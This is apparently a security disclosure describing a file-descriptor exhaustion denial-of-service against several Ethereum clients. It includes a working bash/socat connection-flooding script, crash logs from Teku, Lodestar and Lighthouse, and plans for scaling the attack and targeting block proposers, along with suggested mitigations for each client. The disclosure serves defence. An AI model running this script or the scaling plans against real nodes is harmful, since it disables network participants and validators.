# File Descriptor Attack

**Vulnerable in various extents**
- [x] Teku
- [x] Nimbus
- [x] Lighthouse
- [x] Prsym
- [x] Lodestar
- [X] Besu
- [X] Nethermind

**Not Vulnerable**
- [X] Geth - Not vulnerable
- [X] Erigon - Not vulnerable

### Summary
An attacker can cause a node to hold on to an arbitrarily large number of file descriptors and effectively disabling it.

### Sample Attack on Teku

> **Note:** This attack was performed on MacOS and Linux

The following script is capable of opening thousands of connections to a node at the libp2p layer and leaving them to time out naturally.

#!/bin/bash

# Usage: 
# 
# ./urmom.sh IP PORT SLEEP

set -e
trap "trap - SIGTERM && kill -- -$$" SIGINT SIGTERM EXIT
 
IP=$1
PORT=$2
SLEEP=$3
count=0
while [ 1 ]
do
    socat -t 100 stdio tcp:$IP:$PORT,shut-none &
    printf "count=%d\n" "$count"
    (( count++ ))
    sleep $SLEEP #.005
done

To execute the attack, let's first consider the file descriptor limits on the machine I am running:

$ ulimit -Sn # Soft Limit
256

$ ulimit -Hn # Hard Limit
1024

Now I launch Teku:

$ teku --network=prater --eth1-endpoint=https://goerli.infura.io/v3/imboredwithmydayjob --metrics-enabled --rest-api-enabled

And see how many file descriptors it is currently allocating:

$ ls -U /proc/`(ps aux | grep -v grep |grep -i teku | awk '{print $2;}')`/fd | wc -l
     525

Notice how Teku has allocated more file descriptors than the soft limit we inspected earlier? The reason it is able to do this is bc the JVM modifies the file descriptor limit to the Hard Limit of the system - in this case 1024.

We can also check the max file descriptors allowed:

$ cat /proc/`(ps aux | grep -v grep |grep -i besu | awk '{print $2;}')`/limits |grep 'open files'
Limit                     Soft Limit           Hard Limit           Unit
Max open files            1024              1024              files

Ok so Teku starts to run happily:

2022-04-28 16:09:47,841 main INFO Configuring logging for destination: console and file
2022-04-28 16:09:47,843 main INFO Logging file location: /Users/jonny/Library/teku/logs/teku.log
2022-04-28 16:09:47,843 main INFO Logging includes events: true
2022-04-28 16:09:47,843 main INFO Logging includes validator duties: true
2022-04-28 16:09:47,843 main INFO Logging includes color: true
2022-04-28 16:09:47,932 main INFO Include P2P warnings set to: false
16:09:48.263 INFO  - Teku version: teku/v22.4.0/osx-x86_64/oracle_openjdk-java-18
16:09:48.266 INFO  - This software is licensed under the Apache License, Version 2.0 (the "License"); you may not use this software except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
16:09:48.473 INFO  - Storing beacon chain data in: /Users/jonny/Library/teku/beacon
16:09:48.475 INFO  - Loading 0 validator keys...
16:09:48.476 INFO  - Loaded 0 Validators: 
16:09:48.490 INFO  - Using optimized BLST library
16:09:48.908 INFO  - Initializing storage
16:09:48.910 INFO  - Storage initialization complete
16:09:48.910 INFO  - Loading initial state from https://github.com/eth2-clients/eth2-testnets/raw/192c1b48ea5ff4adb4e6ef7d2a9e5f82fb5ffd72/shared/prater/genesis.ssz
16:09:52.121 INFO  - Loaded initial state at epoch 0 (state root = 0x895390e92edc03df7096e9f51e51896e8dbe6e7e838180dadbfd869fdd77a659, block root = 0x8c0ebce425ca04612f8a4c9b3d9b339121a62a8fe2baf8ff2c6f77b81194ee87, block slot = 0).
16:09:52.137 INFO  - Genesis Event *** 
Genesis state root: 0x895390e92edc03df7096e9f51e51896e8dbe6e7e838180dadbfd869fdd77a659 
Genesis block root: 0x8c0ebce425ca04612f8a4c9b3d9b339121a62a8fe2baf8ff2c6f77b81194ee87 
Genesis time: 2021-03-23 14:00:00 GMT
16:09:52.632 INFO  - Generated new p2p private key and storing in: generated-node-key
16:09:52.821 INFO  - PreGenesis Local ENR: enr:-Iu4QGEKMq_-e7yM21-7uxGyBW-ElU7p090TW68OhYYMu7NLOMLMS5_X3ToUISr8sK8GUHrFUzqtZ2LkVaeTBpTSG7YChGV0aDKQ5L6TkwAAECD__________4JpZIJ2NIlzZWNwMjU2azGhAhxhXxPhOy0Q7F2rls6_k3s4vabUbLzt6xGBhhCxr8aP
16:09:53.023 INFO  - Listening for connections on: /ip4/127.0.0.1/tcp/9000/p2p/16Uiu2HAkwLTWcFafZsW2DmrATGYHM8qDFFoaoAdU7SXPz4V2cNQW
16:09:53.066 INFO  - Syncing     *** Target slot: 2889349, Head slot: 0, Remaining slots: 2889349, Connected peers: 0
16:09:53.114 INFO  - Local ENR: enr:-Iu4QKx1MGhOd_iiRtPqBw5Gl6kptOx-ADdE2UmiPLhlr6z6QnNk3gnPhqyAZnBa95uP_dhOpdfBx6CssY-vs4zRaNkDhGV0aDKQgvSnKwEAECD__________4JpZIJ2NIlzZWNwMjU2azGhAhxhXxPhOy0Q7F2rls6_k3s4vabUbLzt6xGBhhCxr8aP
16:10:00.049 INFO  - Syncing     *** Target slot: 2889350, Head slot: 0, Remaining slots: 2889350, Connected peers: 0
16:10:12.045 INFO  - Syncing     *** Target slot: 2889351, Head slot: 0, Remaining slots: 2889351, Connected peers: 0
16:10:23.561 WARN  - Eth1 service down for 30s, retrying
16:10:24.049 INFO  - Syncing     *** Target slot: 2889352, Head slot: 0, Remaining slots: 2889352, Connected peers: 0
16:10:25.987 INFO  - Successfully loaded deposits up to Eth1 block 6794557
16:10:36.047 INFO  - Syncing     *** Target slot: 2889353, Head slot: 0, Remaining slots: 2889353, Connected peers: 0
16:10:44.286 INFO  - Syncing started
16:10:48.044 INFO  - Syncing     *** Target slot: 2889354, Head slot: 0, Remaining slots: 2889354, Connected peers: 3

> **Note:** I ran out of free daily requests from Infura so I think that is the cause of the `Eth1 service down for 30s, retrying` warning

From another computer, I run the attack script (defined above) as follows:

$ ./urmom.sh 192.168.1.16 9000 .01

and this is how Teku responds:

16:10:57.676 WARN  - Eth1 service down for 30s, retrying
16:11:00.046 INFO  - Syncing     *** Target slot: 2889355, Head slot: 79, Remaining slots: 2889276, Connected peers: 2
16:11:12.196 INFO  - Syncing     *** Target slot: 2889356, Head slot: 192, Remaining slots: 2889164, Connected peers: 1
16:11:12.197 ERROR - PLEASE FIX OR REPORT | Unexpected exception thrown for event 'interface tech.pegasys.teku.storage.api.VoteUpdateChannel.onVotesUpdated' in handler 'tech.pegasys.teku.storage.server.ChainStorage' org.iq80.leveldb.DBException: IO error: /Users/jonny/Library/teku/beacon/db/000015.log: Too many open files (See log file for full stack trace)

You can see the peer count drop followed by the Teku error: `Too many open files`. ☠️

### Feasibility of this attack in the wild

Different systems will have different Hard Limits, but it is trivial to use a couple of machines to force the file descriptor Hard Limit to be hit and disable Teku. Additionally, real world network conditions will be slightly different depending on the surrounding network topology (e.g. is it behind a NAT, or does it have a public IP assigned to it? ), but these different scenarios are surmountable and the attack is still trivial to execute.

### Suggested Fix

At the very least, I would suggest modifying the libp2p ConnectionManager code to limit the number of concurrent connections that can be processed (per IP) to a reasonable number so there is a natural back pressure built-in. Other libp2p implementations (nim & rust) seem to limit this to ~4. There are other problems with this approach (more on this later), but it eliminates the easy exploit and puts Teku on par with other implementations.

## Issues with other implementations

The suggested fix only works bc it limits the attacker to use 4 file descriptors per IP. This can be thwarted by using many IP addresses - this is only slightly more work for the attacker attempting to take down a single node; however, once setup ... this attack scales nicely to disable large portions of the network regardless of the client. Furthermore, Nimbus, Lighthouse, and Prysm don't force the file descriptor limit to the Hard Limit of the system. This means that I only need to reach the Soft Limit (in my case was 256) in order to disable any particular node.

I'll say this a different way:

**How many IPs are needed to disable a single node with Soft Limit of 256?**

Let's assume that nodes use 0 file descriptors (Lighthouse seems to use about 50 initially) to begin with.

256/4 = 64 IPs needed

**How many additional nodes can I disable with this setup?**

64 IPs x 4 concurrent file descriptors per IP = 256 nodes

### Coordinated network partition attack

Since an attacker can max out the available file descriptors a node can use...it can use one of it's pending open connections to allow real handshakes with nodes placed to create and maintain a network partition.

### Block proposer attack

Another simple attack is to just go after block proposers. I demonstrated in this post:

https://ethresear.ch/t/packetology-validator-privacy/7547

that it is easy to tie validator indexes to ip addresses. As a result, targeting block proposers is totally doable.

### Mitigations

In general, it would be good if there was some sort of recommendation for system configuration w/ respect to file descriptor limits when running a node. Many databases publish recommended limits (e.g. MongoDB); however, without knowing the configuration of most nodes this might be dangerous to say publicly.

**Teku, Besu, Nethermind**

- limit the number of concurrent connections that can be processed (per IP) to 4.

**Lodestar**

- implement a connection timeout of 10 seconds

- limit the number of concurrent connections that can be processed (per IP) to 4

**Prysm, Lighthouse, Nimbus**

- These clients should add code that bumps the file descriptor soft limit to the hard limit. Depending on system configuration, this would make it difficult to secure enough IP addresses to hit the file descriptor hard limit.

-----

nethermind:
connection limit: yes, 3 seconds
IP limit: no
Limit Soft Limit Hard Limit Units
Max open files 1048576 1048576 files

besu:
connection limit: yes, 10 seconds
IP limit: no
Limit Soft Limit Hard Limit Units
Max open files 1048576 1048576 files

erigon:
connection limit: yes, 5 seconds
IP limit: yes
Limit Soft Limit Hard Limit Units
Max open files 1048576 1048576 files

geth
connection limit: yes, 5 seconds
IP limit: yes
Limit Soft Limit Hard Limit Units
Max open files 1048576 1048576 files

lighthouse:
connection limit: yes, 10 seconds
IP limit: yes
Limit Soft Limit Hard Limit Units
Max open files 1024 1048576 files

prysm
connection limit: yes, 15 seconds
IP limit: yes, ~55 ?
Limit Soft Limit Hard Limit Units
Max open files 1024 1048576 files

teku
connection limit: yes, 10 seconds
IP limit: no
Limit Soft Limit Hard Limit Units
Max open files 1048576 1048576 files

nimbus:
connection limit: yes, 30 seconds
IP limit: yes
Limit Soft Limit Hard Limit Units
Max open files 1024 1048576 files

lodestar:
connection limit: no
IP limit: no
Limit Soft Limit Hard Limit Units
Max open files 1048576 1048576 files

----

Teku will throw error and will not be able to recover without a restart of the client when file descriptors limit is hit.

Prysm will continue pushing on. Syncing continued successfully and peers stay at 30 when running the attack (went down from 50) and no restart required when stopping the attack. Errors produced:
2022-05-04T12:34:22.777Z ERROR basichost basic/basic_host.go:328 failed to resolve local interface addresses {"error": "route ip+net: netlinkrib: too many open files"}

Lodestar crashed back to shell. Error:
node:internal/process/per_thread:169
_memoryUsage(memValues);
^

Error: EMFILE: too many open files, uv_resident_set_memory
at process.memoryUsage (node:internal/process/per_thread:169:5)
at ExceptionHandler.getProcessInfo (/mnt/volume_sfo3_01/lodestar/node_modules/winston/lib/winston/exception-handler.js:111:28)
at ExceptionHandler.getAllInfo (/mnt/volume_sfo3_01/lodestar/node_modules/winston/lib/winston/exception-handler.js:92:21)
at ExceptionHandler._uncaughtException (/mnt/volume_sfo3_01/lodestar/node_modules/winston/lib/winston/exception-handler.js:167:23)
at process.emit (node:events:539:35)
at process.emit (/mnt/volume_sfo3_01/lodestar/packages/cli/node_modules/source-map-support/source-map-support.js:495:21)
at process._fatalException (node:internal/process/execution:167:25)
at processPromiseRejections (node:internal/process/promises:279:13)
at processTicksAndRejections (node:internal/process/task_queues:97:32) {
errno: -24,
code: 'EMFILE',
syscall: 'uv_resident_set_memory'
}

Lighthouse appear to be pushing on, syncing continued and peers didn't go down to 0 when running the attack. Errors produced:
May 04 12:42:20.782 WARN Listener error error: Custom { kind: Other, error: Other(A(A(Transport(Os { code: 24, kind: Uncategorized, message: "Too many open files" })))) }, service: libp2
May 04 12:42:28.907 ERRO Database write failed! error: DBError { message: "Error { message: \"IO error: /root/.lighthouse/mainnet/beacon/chain_db/005720.log: Too many open files\" }" }, msg: Restoring fork choice from disk, service: beacon
May 04 12:42:28.928 CRIT Beacon block processing error error: DBError(DBError { message: "Error { message: \"IO error: /root/.lighthouse/mainnet/beacon/chain_db/005720.log: Too many open files\" }" }), service: beacon
May 04 12:42:28.928 WARN BlockProcessingFailure outcome: DBError(DBError { message: "Error { message: \"IO error: /root/.lighthouse/mainnet/beacon/chain_db/005720.log: Too many open files\" }" }), msg: unexpected condition in processing block.

So from this it looks like Prysm and Lighthouse are handling it fairly well (although there should still be improvements made with regards to soft limit imo) on the CL side, with geth and erigon not being vulnerable on the EL side.